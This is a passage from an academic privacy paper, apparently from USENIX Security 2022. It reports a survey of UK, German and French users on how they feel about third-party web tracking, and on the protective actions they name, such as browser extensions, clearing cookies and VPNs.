2.1 Tracking Attitudes, Understanding & Pro-
tective Behaviour

Individuals perceive behavioural advertising to be privacy-
invasive [44, 70, 71]. In particular, individuals (1) do not want
third parties to track and profile them online [54], (2) are par-
ticularly concerned about the amount of data, the presence
of sensitive information, and the data from offline sources
found in tracked profiles [54], (3) are sensitive to embarass-
ing ads [1], (4) are concerned about the lack of transparency
and control over behavioural advertising practices [71], (5)
are concerned that tracking could possibly lead to disadvan-
tages in real life, and do not trust tracking [68]. However,
individuals also perceive behavioural advertising to be useful
in providing ads that match their interests [5, 44, 71], enjoy
its informativeness and utility for making purchasing deci-
sions [60], feel comfortable in specific situations [45], and
show varying acceptance of behavioural advertising depend-
ing on the context [12, 45, 72]. In addition, research shows
that individuals have basic understanding of online track-
ing [42] and inaccurate and incomplete mental models of the
mechanics of behavioural advertising, such as conceptualis-
ing trackers as viruses that access local files and reside on
the local computer [78], and having misconceptions about
the purpose of cookies [44]. With regards to protective be-
haviour, users want more control over tracking and perceive
the benefits of controlled tracking, but are unwilling to put
in the effort to control tracking, distrust existing tools [45] or
have limited awareness of the of countermeasures and how
to use them [62], while some have reported to protect from
tracking [52].

2.2 The Affective Aspects of Privacy
Although emotions are an integral aspect of decision-making
and behavior, research into emotional context of privacy is
relatively new, and privacy decision-making has mainly been
treated as a cognitive process. A limited number of research
have demonstrated and argued that the emotional aspect of
privacy is as important [27,65], including (1) FMRI neurobio-
logical research providing evidence that privacy decisions are
found to be in the more affective-cognitive area of the human
brain than purely cognitive [27]; (2) research in the affec-
tive dimension of privacy attitude [20]; (3) privacy decision-
making research on the role of affect in disclosing personal
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information [39], in subconsciously shaping privacy risk per-
ceptions [32] or overriding rational factors [34]; (4) research
on the influence of discrete emotions (such as anger, anxiety,
fear, regret) in leading to problem- and emotion-focused pri-
vacy coping strategies [13]; as well as (5) HCI research on the
influence of emotional valence in interfaces on privacy con-
cerns [33]. These are supported by arguments from scholars
who advocate for a greater attention to the phenomenology of
feeling and to the concept of “visceral" design in information
privacy scholarship, policy, and design practice [65].

2.3 Behavioural Response to Emotions
It is universally agreed that affect influences individuals’ de-
cisions, where human beings go through both cognitive and
affective responses to stimuli. While cognitive responses indi-
cate individuals’ mental process in interaction with the stim-
uli, their affective responses designate individuals’ emotional
feedback from environmental cues. Several models such as
the affect-as-information hypothesis [15], the risk-as-feelings
hypothesis [40], or the use of affective heuristics when judg-
ing risky situations [63], all explain the influence of affect in
decisions and on behaviour.

Affective evaluations are thought to reflect and translate the
cognition of (privacy) concern or risk, leading to coping be-
haviour [8], where coping is defined as an individual’s efforts
to manage stressful, aversive or disruptive events [36]. This
is inline with the protection motivation theory that describes
how individuals are motivated to react in self-protective ways
towards a perceived threat and to adopt coping strategies [76].

The couple of research into users’ responses to affective
privacy evaluations have investigated emotions associated
with privacy risks and their resulting emotional coping (such
as acceptance, avoidance, disengagement, or venting [13,31]),
active problem-solving (such as company complaints [31],
negative-word-of-mouth [47], decreased usage time [47])
or protective actions (such as engaging with privacy set-
tings [31]), in contexts such as location-based services [31],
social networks [13], and smart speakers [47]. They focused
on negative emotions [13, 31, 47], such as anger, frustration,
disappointment, anxiety, fear and regret, with the assumption
that, as privacy loss and privacy risks contexts are generally
considered as aversive rather than appetitive (or approach),
they are more likely to elicit negative reactions than positive
reactions [20].

2.4 Demographic Influence of Privacy
Women tend to be more concerned about their general pri-
vacy [7, 61, 75, 79], as well as privacy with regards to specific
technology (such as mobile devices [58] and online advertis-
ing [61]), compared to men. However, there are nuances in
response to concerns for men versus women, with regards to
protective behaviour. Women have been found to be less con-

fident and less equipped with technical skills to manage per-
sonal data [48], and more likely to use avoidance behaviours
such as limiting the sharing of sensitive information [55],
while men have been found to be more familiar with the pri-
vacy protection strategies and to use them more often [46].
However women are thought to be as apt as men in social
privacy protection strategies [48,79], such as taking protective
actions in social network sites [9] or refraining from using
websites that ask for personal information [79].

This distinction in concern and protective behaviour be-
tween women and men brings into focus the feminist per-
spectives of privacy [2, 41], where women are thought to not
enjoy the same level and types of desirable privacy online as
men. The conceptions of public/private spheres are thought to
render women vulnerable, where they may have too much of
the ‘wrong’ kind of privacy, where a rigid binary classification
of women versus men and surveillance also perpetuate patriar-
chal systems at the detriment of women, who are significantly
identified and revealed but do not have agency in expressing
and exercising their privacy.

National culture, as the collective mindset distinguishing
members of one nation from another [29], also influences
privacy concern, behaviour or valuation of information [14,
57, 69]. Between the UK and Europe, there are indications
of the British exhibiting different privacy technology usage
behaviour compared to other countries, where in contrast,
German users are thought to be better versed with ‘advanced’
privacy technologies [19]. Compared to other countries (US
or EU), German nationals attribute a higher importance to
data protection [64], in sensitivity of data collected [21] or in
the perceived risks of privacy violations [35].

3 Related Research & Gaps

In this section we compare our contributions to the most
closely related previous research.

User-centred aspects of tracking: Previous research has
mostly inquired into the cognitive dimension of tracking,
such as via user perceptions [44, 70, 71, 78], attitudes [60]
and concerns [54, 77] of online behavioural advertising for
insights into tracking. A few investigations have focused their
elicitation methods particularly towards tracking perception
and mental model [12, 42, 62], concerns [1], preferences [45],
or third-party tracking online [68].

While feelings with regards to tracking have come up in
investigations of perceptions and concerns about behavioural
advertising and tracking (such as ‘creepy’ or ‘scary’) [71], to
our knowledge, previous research has not explicitly asked in-
dividuals how they felt about third-party tracking, that is, with
an intention to specifically elicit feeling tones. This current
research explicitly investigates feeling tones with an intention
to map these with protective actions.

For protective behaviour related to tracking, research has
qualitatively elicited protective actions and the use of privacy

USENIX Association 31st USENIX Security Symposium    289



technologies in general [12, 52, 62], or queried use of specific
technologies such as browser extensions [42]. We use an
open-ended method to elicit individuals’ protective actions.

Behavioural Response to Affective Privacy Evaluation: Pre-
vious studies [13, 31] have focused on technology contexts
that are different to this paper, as reviewed in Section 2.3. In
addition, these studies query participants to a preset list of dis-
crete negative emotions and coping behaviours, whereas we
extract feeling tones and protective actions from participants’
free form response.

4 Method

In this section we provide details about participant recruit-
ment and characteristics, the study procedure and question-
naire design, the research ethics process, as well as the design
limitations.

4.1 Participants
We recruited participants via Prolific Academic, a crowd-
sourcing platform whose data quality has good reproducibil-
ity [50] is comparable to Amazon Mechanical Turk’s which
is widely used within security and privacy user studies. The
study lasted between 20 to 30 minutes. Participants were
compensated at a rate of £7.5 per hour, slightly above the min-
imum rate of £5 per hour, as advised by Prolific Academic.

We sampled around 630 participants and ended with N =
614 after removing incomplete attempts at the survey. The
study was balanced by number of participants in each country
and gender. The N = 614 participants consisted of n = 209
from the United Kingdom (UK), n = 202 from Germany (GE)
and n = 203 France (FR). We chose these three countries as
they have the highest number of internet users in Europe [66]
and therefore a high number of users potentially exposed to
online tracking. While nationals of different countries, such
as the UK, Germany and France, may exhibit different privacy
behaviour [19], we note that the UK has similar data protec-
tion provisions as the rest of Europe, as it has established its
implementation of the GDPR, where the principles, rights
and obligations of the ‘UK GDPR’ follows the European
one [49]. Overall there was approximately a similar number
of women (n = 307) and men (n = 299) participants (about
100 each in each country) and 8 self-reporting as non-binary.
The rationale for balancing across gender is that women may
engage in different protection practices compared to men,
who are known to be more familiar with protection meth-
ods [48]. Women can be considered as a vulnerable user
group, where as explained by the ‘differential vulnerabilities’
concept that recognizes how different populations face differ-
ent types and degrees of security and privacy risks [51], they
may experience more harmful impact from the same online
threats, compared to men. We posit that such user groups need
dedicated research and support.

Table 1: Participant Characteristics

Country N Mean Age Gender
#F #M #N

United Kingdom 209 35.78 109 100 0
Germany 202 29.21 100 100 2
France 203 27.29 98 99 6

Education % Ethnicity % Most Used %
Browsers

High School/lower 26.1 white 86.6 IE 10.4
College 17.6 mixed 5.0 Chrome 72.3
Undergraduate 29.0 asian 4.1 Firefox 34.0
Masters 24.9 black 2.1 Safari 19.4
Phd 2.2 other 2.1 Opera 5.7

Brave 9.4
Other 6.7

Table 1 provides a summary of the demographic details.
The table also lists the most used browsers, where ‘other’
included mentions of DuckDuckGo, Tor, Microsoft Edge,
Chromium or Vivaldi.

4.2 Procedure
We ran the study as an online survey during 2020. Participants
were first presented with (1) a consent form (as described in
Section 4.3 below), (2) followed with a demographics ques-
tionnaire, (3) elicitation of their feelings with respect to track-
ing online, and (4) their own protective actions. The survey
was proof-read by the authors, and 3 of their acquaintances
who are not experts in the topic. In addition, the survey was pi-
loted on Prolific Academic across the three countries, where
we invited 9 pilot participants, with 95% approval rate, to
comment on the survey, thereby facilitating enhancements.

The first page of the survey gave information about the
study, letting participants know that the study was anonymous,
that participation was voluntary, and explicitly asked for opt-
in consent for participation.

Next, we describe the feelings and protective actions elici-
tation, as well as provide the questions verbatim. These were
set as open-ended questions with participants responding in
free-form text. Feelings: To bring participants’ own experi-
ence and feelings about tracking to the fore, we used a method
similar to a mood induction protocol [74] to elicit feelings
about an issue. We first asked participants to write about their
understanding of third-party tracking as a way of inducing
their mental picture of third-party tracking. We then asked
them to express their feelings about third-party tracking on
the web in their words, in writing. The two questions were set
as: (1) “In your own words, write about your own understand-
ing of third-party tracking on the web. In particular, what
does third-party tracking mean?" followed with (2) “How
do you feel with regards to third-party tracking on the web.
Please name emotions and/or perceptions if relevant. With
regards to third-party tracking, I feel ... ". Note that we focus
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on feeling tones, rather than traditional measures of emotions
or affect [73], because we aim to investigate the mood or
feeling associated with the particular experience (or stimu-
lus) of tracking (inline with APA dictionary’s definition of
feeling/affective tone [3]).

Protective Actions: We followed with a question to elicit
participants’ tracking protection actions, where we asked
them to name the actions they employ. In particular, we asked
“What actions have you taken to protect yourself from tracking
(including third-party tracking), as you browse the web?".

After data collection, incomplete attempts at the survey,
making up 16 participants, were removed leaving us with
N = 614 participants. We then progressed into qualitative
analysis of the free-form responses to the feelings and actions
questions. We provide description of this analysis, including
the creation of a codebook, in Section 5. We used these codes
to report on feeling tones and actions, across gender and coun-
try, as well as within the quantitative analyses that follow. We
summarise the study design in Figure 1.

Figure 1: Study design

4.3 Ethics
We obtained full approval from Newcastle University’s Ethics
Committee before the research commenced. We also sought
participants’ opt-in consent for data collection prior to their
responding to the questionnaire. In addition to having un-
dergone independent ethical review, we designed our user
studies to address pillars of responsible research in com-
puter science [6]. Participation in the study was voluntary
and anonymous and our participants could drop out of it at
any stage.

4.4 Limitations
We discuss the limitations of the study design as follows.

We queried protective actions in participants’ own words,
which assumes at least a minimum awareness and understand-
ing of the actions they employ, rather than providing a pre-
defined list of privacy technologies for participants to choose
from. However, we specifically queried participants on protec-
tive actions and did not capture other behaviours that they may
employ for emotional coping, as described in Section 2.3.

The study relies mainly on self-reports, which is a widely
used and valuable form of eliciting user responses in privacy
and security user studies. While self-report can be argued

to induce bias, previous research has also found that self-
report insights can translate to real-world settings [56]. In
addition, free-form responses provide a rich view of users’
own experience.

By choosing to position the demographics questionnaire at
the beginning of the survey, the study may have been affected
by ‘stereotype threats’ [30]. We would therefore opt for a
different placement of demographic questions in the future.

Although the study was piloted across the countries, it was
written in English, and therefore has minor limitations on who
can take the survey. Future studies targeting different nation-
als across countries may consider using their first language.

Because the number of non-binary participants was only
8, our gender comparisons and statistical analyses focus on
women versus men. We hope to target a more diverse sample
in future research. In addition, while other user characteristics
(such as skills) may affect experience and protective actions,
we focused and balanced our sample on gender and country
demographics. A future study may compare the influence of
a further list of user characteristics. Furthermore, although
having a relatively large-scale qualitative grounding, the study
was directed at the UK and European countries, thereby limit-
ing generalisability to other national cultures.

5 Qualitative Coding

In this section, we describe our process of extracting partici-
pants’ feeling tones and actions from their responses.

5.1 Feeling Tones
Identification of Themes & Codebook Creation. We looked
into participants’ free-form text responses.We used a conven-
tional line-by-line coding method (as previously employed
in user-centric privacy research [20]), where we read each
response and identified specific themes. We know from pre-
vious research that individuals find tracking to be worrisome
(scary [71]), embarassing [1], have mixed feelings about track-
ing [12,45,72] or are okay with tracking [44,71]. We therefore
sought to identify whether participants were in general, (1)
okay or do not care about tracking, (2) not-okay or feel nega-
tively (3) sometimes okay, sometimes not-okay or okay under
certain conditions. We further looked into the emotions and/or
reasoning expressed by participants, and also identified ‘other’
themes that were not categorised in the three categories. We
note that while some participants only expressed how they
felt about tracking, most participants provided a reasoning
in association to their feelings. We detail these in the results
Section 6.1. We summarise the feeling tones according to
their categories, as well as the % participant responses that
express them, in Table 2. We also provide the whole codebook
with example words in Appendix A in Table 5.

Coder Reliability. One researcher created the codebook,
which was then provided to a second researcher along with
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Table 2: Categories and Example Tones (N=614)

Tone Category Feeling Tone % Participants

Not_Okay 4.6
Boundary_loss 17.8

Generally Unfair 8.6
not okay Annoyance 12.5
(Negative) Anxiety 12.4

Discomfort 9.1
Distrust 3.9

Sometimes okay, Ambivalent 7.7
sometimes not okay Okay_if 2.9

Okay_ protected 2.3

Generally Okay 4.7
okay / Indifferent 2.9
indifferent Necessity 0.7

None 1.6

Other Should_regulate 2.9
Not_aware 5.4

a sample of responses. The codebook was iteratively refined,
after which two researchers coded the whole set of responses.
We computed 95% agreement between coders as well as Co-
hen k of .820, p < .001, suggesting substantial agreement in
applying the codebook.

5.2 Protective Actions

We used a line-by-line coding to extract words such as
‘browser option’, ‘extension’ or specific names for privacy-
enhancing technology (PET) such as ‘Ublock’, and cate-
gorised these into tracking protection methods. Because the
coding involved simply identifying specific words relating
to tracking protection, it was conducted by one researcher
only. Participants also mentioned strategies that we grouped
under ‘other’. These included actions such as ‘checking so-
cial media settings or avoiding public Wi-Fi. We describe
these in Section 6.2. We summarise the protective actions
by % participants naming them in Table 3. Note that some
participants named more than one protective action.

Table 3: Protective Actions (N=614)

Actions % Participants
extension 27.7

clear cookies 16.6
private browsing 13.5

VPN 11.1
builtin browser setting 9.6

clear browser history 3.3
anti-malware, -virus 2.6

safe website 2.1
other 8.0

No Action 34.7

6 Results

We report our qualitative and quantitative findings. We note
that for gender-based comparisons, to aid statistical reporting,
we focus on male versus women only, as only 8 out of 614
participants self-reported as non-binary.

6.1 Feelings about Third-Party Tracking

We investigate RQ1, that is “How do individuals feel with
regards to third-party tracking?", given their gender and coun-
try differences. We summarised the feeling tones extracted
from participants’ responses and their categories in Table 2.
In the following subsections, we (1) provide the % of partici-
pants expressing the feelings in each category, across gender
and country and then we (2) describe the extracted feeling
tones, while providing example responses from participants.
In the example responses, we refer to UK participants as UK#,
German participants as GE# and French participants as FR#.

6.1.1 Generally Not Okay (Negative Feelings)

Participants’ whose feeling tones were in congruence with
not being okay with third-party tracking (referred to as TPT
in the results section) either just said so, named (their concern
with respect to) the threats of TPT (such as invaded privacy or
self/boundary loss, unfair practice by others) or went further
to describe their emotional response as a result of TPT (such
as anger, anxiety, distrust or discomfort).

Figure 2 summarises the feelings tones categorised under
generally not okay or negative feelings. We notice patterns
across gender and country, for example that (1) more women
expressed negative feelings in all countries; (2) less UK par-
ticipants expressed negative feelings compared to Germany
and France, across both gender; and (3) slightly more men ex-
pressed the mix of feelings till ‘annoyance’, but more women
expressed ‘anxiety, discomfort, distrust’ (combined).

Not Okay: 4.6% of participants said they were not okay
with TPT, such as by saying that they did not feel good about
TPT (without mentioning particular emotions), or clearly stat-
ing that they do not like or want TPT and are against TPT.
Example responses include: GE179 “I do not feel very good
about it, because I don’t know where my data will end up",
UK20 “I don’t like it and I don’t like other companies having
my information", FR116 “If they’re what i think they are, then
i really don’t like this business model [sic]", UK114 “I dis-
like that you have to actively log out of offering this access
to third parties...", FR113 “opposed", UK164 “I am strongly
against unannounced third party tracking...", and FR128 “I
would rather not be tracked at all".

Boundary loss and invasion: 17.8% participants de-
scribed feeling an invasion or violation with regards to their
online privacy, such as expressed by UK36, “That it is an
invasion of your personal details and that keeping it to just
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Figure 2: Negative feelings expressed across gender & countries (the x-axis shows % in each gender-country group with n=100
approx.) See text for description of noticeable patterns, such as more women feel negatively & less UK participants feel negatively.

those companies that you choose to deal with would be ideal
but you know that info will probably end up being passed
on...", by UK85 “this is a violation of privacy and of free-
dom", or UK90 “An invasion of privacy, masqueraded by third
party/flimsy data protection rules".

This feeling tone also included participants who went fur-
ther to express how they felt with regards to the loss of bound-
aries, in particular noting the consequences to their personal
sphere or sense of self, such as expressed by GE1 “With
regards to third-party tracking, I feel exposed to the web",
UK68 “slightly out in the open", UK51 “I feel violated and
as though my privacy and security is not respected". GE25
“unsecure since I value my privacy. I don’t want third partys
[sic] to get access to any of my personal information, GE27
“exposed, exploited", GE66 “unsafe, spied on", GE134 “I feel
like my every move is being monitored", and UK115 “I don’t
like the idea of being stalked online, however that may be".

Additionally, some participants from Germany and France
used even stronger wordings to describe feeling deeply in-
vaded as a person, or dis-humanised, such as GE7 “unsafe.
I feel naked. ‘transparent human’ we call that in German
[sic]. I feel like nothing is private anymore, even if I seek the
anonymity of the internet for a reason", FR4 “I feel raped,
robbed, angry", FR143 “I feel this is very intrusive and it
is not very moral", FR82 “vulnerable", GE135 “Unsafe and
somewhat inhuman, it feels like I’m treated as just another
customer for product XY", GE139 “exploited, unsafe, like an
object".

Unfair practices: 8.6% of the participants focused on the
methods practised by websites or companies that result in
unfair or helpless situations such as expressed by UK1 “there
should be less third party tracking because sometimes it is not
you making a decision, it is the adverts telling you to make a
certain decision", UK3 “baddies, trying to steal my info for
their own illicit purposes", UK8 “betrayed by the companies
that sell my data", UK25 “... it feels a little dishonest/sneaky",
GE46 “surveilled and powerless. I have no opportunity to
disagree to the tracking except not using the website...", GE55

“fucked because they can do whatever they want and nobody
stops them", GE109 “..that I do not have privacy on the
internet that I want or that I am supposed to believe I have. I
do not want companies to track my activities on the internet or
sell my data but I need to agree to do so in order to use some
services on the net", or FR4 “...Feel like we are trapped".

When participants went beyond expressing privacy/self
invasion or unfair practices to name their emotional response
to their dismay with TPT, we coded these under the specific
emotion named, such as annoyance, anxiety, discomfort or
distrust.

Annoyance: 12.5% participants named feeling tones tradi-
tionally categorised under anger-related emotions [73], such
as annoyance, irritation, disgust or exasperation. These were
expressed as emotional response to unfair practices, privacy in-
vasion, lack of transparency, due to the presence of ads, or be-
cause something better should be offered. Example responses
include: UK10 “irritated, unsecure, harassed, annoyed, not
happy for them using my information without permission",
UK64 “annoyed by it, that I’m being spied on", GE50 “Both-
ered, annoyed, stalked, disrespected", GE44 “Mostly I feel
that third-party cookies are annoying and not nearly trans-
parent enough, even if you’re notified of them once you visit
a website", or GE20 “that it tends to get annoying. once you
search something out of curiosity your ads might be spammed
with this very product that you in reality dont [sic] have the
biggest interest in".

Anxiety: 12.4% participants named feeling tones associ-
ated with anxiety, using words such as scary, worry, anxious,
cautious, creepy or spooky. These were expressed as emo-
tional response to the amount of information about someone
that can be left online, the ‘not knowing’ about what TPT
exactly is, how it happens, who accesses personal data and
how to protect, and also when signs of tracking are noticed
online. Example responses include: UK18 “That it is a pretty
scary thing seeing how much of yourself you leave on the
Internet...", UK41 “Worried that a third party that I don’t
know about is accessing my information", UK53 “It’s pretty
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relevant in modern society with the increase in technology
use, it’s frightening to not know enough about it to fully pro-
tect myself ", UK79 “It would make me feel cautious about
what information I am sharing online", UK107 “It sometimes
creeps me out when I browse the internet for say make-up
products and then the same webistes [sic] I visit appear in
adverts on my Twitter feed...”, UK112 “definitly [sic] makes
me a bit nervous and a bit creepy almost like my phone is
always listening to me", or UK142 “...it is a bit spooky to find
links to things that you have been searching for and I do not
like it at all".

Discomfort: 9.1% participants reported feeling discomfort
as a result of privacy loss or the lack of choice, not feeling at
ease as they are not fully aware of the impact, and uncomfort-
able at the signs (by ads) that they are tracked. Participants
used words such as uncomfortable, unsettled, overwhelmed,
unpleasant, uneasy or disturbed. Example responses include:
UK28 “not comfortable, i feel them to be intrusive. [sic] We
don’t have a choice, if we want to use a site ...", GE23 “Un-
easy, I don’t want to have Facebook tracking me on pages
other than their own", UK67 “unsettled by it as I don’t know
who the third party is or what they are doing with my data",
and FR84 “I feel rather uncomfortable when I come across
ads that are clearly oriented towards content that I’ve already
searched for on the web".

Distrust: 3.9% participants expressed a lack of trust in
websites or companies online, thereby expressing suspicion,
wariness, or lack of trust. Example responses include: GE81
“I feel it is a very unknown and suspicious business. Since
you mostly agree via one click on a page long agreement
that you haven’t read carefully which results in unknow [sic]
persons and institutions using your information", FR32 “I
feel really suspicious, I do not rely on cookies and block
them as possible as I can", FR54 “distrustful, attentive, but
non-paranoid", and FR115 “I am wary about being tracked
online. I don’t feel safe, I feel like I’m being exploited for my
information".

6.1.2 Sometimes Okay, Sometimes Not Okay

A group of participants were either sometimes okay and some-
times not-okay (ambivalent) or okay under certain condi-
tions (okay_if) or okay because they were already protected
(okay_protected). We visualise the differences between gen-
der and country in Figure 3 and notice the following patterns:
(1) more men than women expressed ‘ambivalence’ or com-
bined ‘ambivalence, okay_if, okay_protected’ feelings in all
countries; and (2) more UK participants expressed ambiva-
lence compared to Germany and France, across both gender.

Ambivalent: 7.7% participants expressed that TPT can
be both positive and negative. Example responses include:
UK6 “It can be okay sometimes but it’s a bit bad that it
can happen", UK24 “Pritty brutal [sic], but its the only way
people make money on the web with ads anymore, with old

Figure 3: ambivalent or okay under certain conditions feelings
(the x-axis shows % in each gender-country group with n=100
approx.)

people clicking the ads", UK58 “A little intruded on but accept
its a part of how the internet works", GE26 “exited [sic] at
having an application that knows my desires better than i
do, and a little scared at the exact same point, and GE97
“Ambivalent because it enables more free services, but can
also be intrusive on privacy".

Okay, if: Another 2.9% of participants expressed that they
would be okay with TPT under certain conditions, such as
personal data being used only to provide ads. Example re-
sponses include: UK13 “...I don’t mind seeing ads that are
relevant to me and as long as the third party is not using the
data in a harmful way then I don’t mind", GE35 “Okay about
collection of user data for advertising purposes as long as it
is purely commercial and not political", or UK23 “It’s ok as
long as its not intrusive and no data is kept".

Okay, protected: 2.3% participants expressed being okay
with TPT because they took protective actions. Example re-
sponses include: FR177 “I do not care because I use and
adblocker [sic]", GE64 “relaxed because I block the most of
it using DNS based blocking and adblockers", and FR52 “I
use brave [sic] for this very reason but i know that sometimes
you can access some website due to them blocking you if you
don’t accept the tracking".

6.1.3 Okay or Indifference

A group of participants were okay with TPT, were indifferent,
thought TPT was a necessity, or said that they felt nothing. We
visualise the participant breakdown across gender and country
in Figure 4 and notice that (1) slightly more women than men
said that they had no feelings across all countries; and (2)
more men were okay or indifferent, except for Germany.

Okay: 4.7% of participants said they were okay with TPT,
in particular expressing that TPT was alright, or expressed
positive feelings such as being content and comfortable with
TPT, or focused on the advantages of TPT such as person-
alised ads, and a lack of concern. Example responses include:
FR10 “I understand that third party tracking is a part of what
makes a lot of content on the internet free. I feel ok with
it", UK2 “I feel its alright i have no bad feelings towards
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Figure 4: okay or indifferent feelings (the x-axis shows % in
each gender-country group with n=100 approx.)

it", GE13 “okay with it since it’s only my online behavious
that is being obersevd [sic]. In addition most of the data
collected is used for machine learning and not reviewed by
actual humans", UK5 “I don’t mind it", FR88 “comfortable,
I have no problem with that", GE130 “I sometimes like adver-
tisments that carter to my taste", GE16 “used too, i think the
web knows so much from me, i have nothing to hide, ok they
can get this data too", or GE93 “not really concerned, since
those data might be valuable for marketing, but don’t effect
me personally in any way".

Indifferent, necessity, none: 2.9% of participants said
they were indifferent to TPT, such as by expressing indif-
ference or not caring such as FR64 “I feel a bit indifferent to
be honest", UK45 “Not bothered", GE90 “Although it may
be morally debatable, nobody really seems to care about
it", GE131 “With regards to third-party tracking, I feel like i
couldn’t care less, honestly". 0.7% participants spoke of the
necessity of tracking online and of their acceptance of it, such
as UK49 ‘That it is just a necessary part of being online these
days", UK119 ‘The amount of information out there is way
too much to understand for a generic user. I accept that using
the internet entails such addition to it". 1.6% participants
said that they felt nothing, such as UK65 ‘Have no feelings",
GE124 ‘no particular positive or negative emotion", FR42 ‘I
don’t feel any particular way about it".

6.1.4 Other

Another group of responses did not point to emotional evalu-
ation of TPT. Instead they called for regulation or said they
were not aware of TPT. We grouped them under ‘other’.

Call for Regulation: Although the GDPR makes provi-
sion for tracking protection, 2.9% of participants felt a need
for (stronger) regulation, for completely banning TPT, or for
particular legal coverage (such as opt-in only or more trans-
parency). These responses show Internet users’ un-awareness
vis-à-vis the GDPR’s coverage or their dis-satisfaction that
the existing regulation do not do enough for privacy. Example
responses included: FR43 “I think it’s a good idea but it has

to be regulated", GE196 “very dissatisfied. Should be forbid-
den! [sic]", UK194 “It should be illegal. I don’t see how it
can even be legal in the first place, UK123 “It is impossible to
avoid as they cookies [sic] on the on every website which all
communicate with each other this should be banned, GE103
“Like it should be opt-in only", FR40 “that it should be made
transparent who can track us and for what reason, with an opt
out", and UK66 “I think it is irresponsible and people should
be made aware very clearly that they are being tracked, and
can be damaging to people’s mental health".

Not aware: About 5.4% of participants said they were not
aware of TPT or were confused by it, including UK48 ‘No
idea What this is [sic] I don’t really take any interest in being
safe on the Internet I mean I probably should but I don’t", or
UK77 ‘I don’t know enough about this".

6.2 Protective Actions Named by Participants

We investigate RQ2, that is “What tracking protective ac-
tions do individuals employ online?", given their gender and
country differences. From the free-form text entered by par-
ticipants (in responding to the questionnaire detailed in Sec-
tion 4.2), we identified all mentions of PETs or other protec-
tion strategies.

We summarise the % participants naming each protective
action, across gender and country in Figure 5. The notice-
able patterns are that: (1) more women report to take no
protective action (coded as ‘none’) in all countries; (2) more
UK participants report to take no action compared to those
from Germany and France, across both gender; and (3) the
use of browser extension (coded as ‘extension’) is the most
named action for men across all countries, whereas UK and
German women prefer clearing/rejecting cookies (coded as
‘clear_cookies’).

34.7% responses were categorised as ‘none’ as partici-
pants wrote ‘none’ or responded with text such as UK7 “I’m
not aware of how I can protect myself (I haven’t knowingly
allowed it)", or from GE48 “nothing although i dont like
Companys [sic] having so much data about me its really not
that bothering to me so i just keep on using the internet as
before".

65.3% of participants named at least one protection method.
We list the type of protective method and provide example re-
sponses. For extension to browser: responses included FR93

“I have installed Ublock Origin and added personalized pre-
cautions, and also Privacy Badger. Firefox also helps you
with the cookies, fingerprint blocking,...". For reject, limit or
delete cookies: UK144 responded “None in particular other
than declining the installation of cookies when they are men-
tioned." or UK114 “I always opt out of marketing requests
and clear cookies" or FR138 “not much. I delete the cookies
often, but that’s it." For private browsing/browser: FR61 re-
sponded “Private browsing or onion routine (tor)" and UK92

“i use brave browser and ...". For VPN (Virtual Private Net-
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Figure 5: Reported actions across gender & countries (x-axis shows % in each gender-country group with n=100 approx.)
Note: The first (red) portion of the bars refer to ‘none’, that is the % of participants not taking protective actions.

work): responses included FR92 “I have a vpn, and when
a website asks for my identity...". For builtin browser op-
tions: responses included GE78 “My browser (firefox) blocks
most third-party tracking scripts". We note that this protec-
tive method category refers to mainstream browser options
rather than browsers built for privacy as in the ‘private brows-
ing/browser category’. For anti -malware, -virus: responses
included UK3 “antimalware in my antivirus software and
also keeping everything updated [sic]". For Clear browser
history: FR15 responded “Every day I delete my browser
history, all of it...". For Safe website: UK87 responded “not
visited web pages that have come up as suspicious".

Participants also mentioned strategies that we grouped un-
der ‘other’. These included actions such as: “I do not add my
locations to social networking sites" (UK79), “I try to avoid
public wifi unless absolutely necessary" (FR148), “avoid giv-
ing personal information, avoid social networks..." (FR96)
and “I mostly use my work laptop and rely on it to have a
good security software" (GE174).

6.3 Association of Feelings with Protective Ac-
tions

We investigate RQ3, that is “How are individuals’ feelings
about third-party tracking associated with their protective ac-
tions?" We answer this RQ in two steps: first we provide an
overall descriptive view of all the feeling tones together with
the proportion of participants naming the different actions
for each feeling tone, in Figure 6. Second we investigate the
statistical association between feelings tones and protective
actions via a multivariate analysis, producing a spatial map
in Figure 7. We note that in contrast to the spatial map (in
Figure 7) that plots the strength of association between feel-
ings’ action profiles and actions’ feelings profiles, Figure 6
provides a descriptive view of the raw data.

Overall View: Figure 6 shows that for all expressed feel-
ing tones, some participants responded to take no protective
action, under ‘none’. However, ‘none’ accounts for a high pro-
portion of action types for feelings in the ‘okay/indifferent’

categories (while also noting the smaller number of partici-
pants naming these feelings).

Multivariate Analysis: We conduct a multivariate analy-
sis of our dataset via a Correspondence Analysis (CA) [28], to
investigate and visualise the relationship between expressed
feelings and their protective action profiles. Our dataset is a
contingency table of 16 rows (feelings expressed with regards
to TPT) and 10 columns (protective actions named). In the
following paragraphs, we report on the CA and results via the
following steps (1) we compute the CA, (2) we visualise the
spatial plot, and (3) we interpret the dimensions.

First, we compute the CA. We find a significant association
between the row and column variables with χ2 = 165.634,
p = .037, and the first dimension accounts for 44.58% of the
variance in the data while the second dimension accounts for
17.36%. Together these two dimensions account for 61.94%
of variability.

Second, we visualise the results via a spatial map, as pro-
vided in Figure 7. The spatial map shows the row and column
profiles simultaneously in common space, where the proxim-
ity of the points demonstrates their similarity. For example,
expressed feelings (blue points) that are closer together show
more similar protective action profiles compared to those that
are further apart.

Third, we interpret the dimension 1 (the x-axis, Dim1) in
Figure 7 as it intuitively shows a spectrum of feeling tones,
and note that we do not notice a pattern for dimension 2. Dim1
flows from the left with ‘no feeling’ (indifferent, none, not
aware), to ‘being okay/mild feelings’ (okay, ambivalent, okay
if, discomfort), to ‘strong emotional response’ with regards
to TPT (not okay, annoyance, anxiety). The spatial map is in-
tuitive in showing that the ‘no feeling’ end of Dim1 (negative
end of x-axis) is more closely associated with no protective
action (none in red) and furthest to protective actions (such as
using clearing cookies, using an extension or builtin browser
options). This corresponds to Figure 6 where the ‘indiffer-
ent’, ‘none’ and ‘not aware’ tones have highest proportions
of no protective actions. In comparison, the ‘mild feeling’
section of Dim1 is closer to, and the ‘strong emotional re-
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Figure 6: Overall view of feelings and actions, with x-axis showing the proportion of participants naming the different actions for
each feeling tone. The y-axis shows feeling tones from not_okay to distrust that correspond to the generally not okay/negative
category, tones from ambivalence to okay_protected corresponding to the sometimes okay, sometimes not okay category, tones
from okay to none referring to the generally okay/indifferent category and should_regulate and not_aware for the other category.

sponse’ end (positive end of x-axis) is most closely associated
with, employing these protective actions. To summarise, (1)
the feelings of being indifferent to TPT, having no feeling,
being not aware of TPT, or viewing TPT as a necessity are
furthest from action points; (2) feeling okay under certain con-
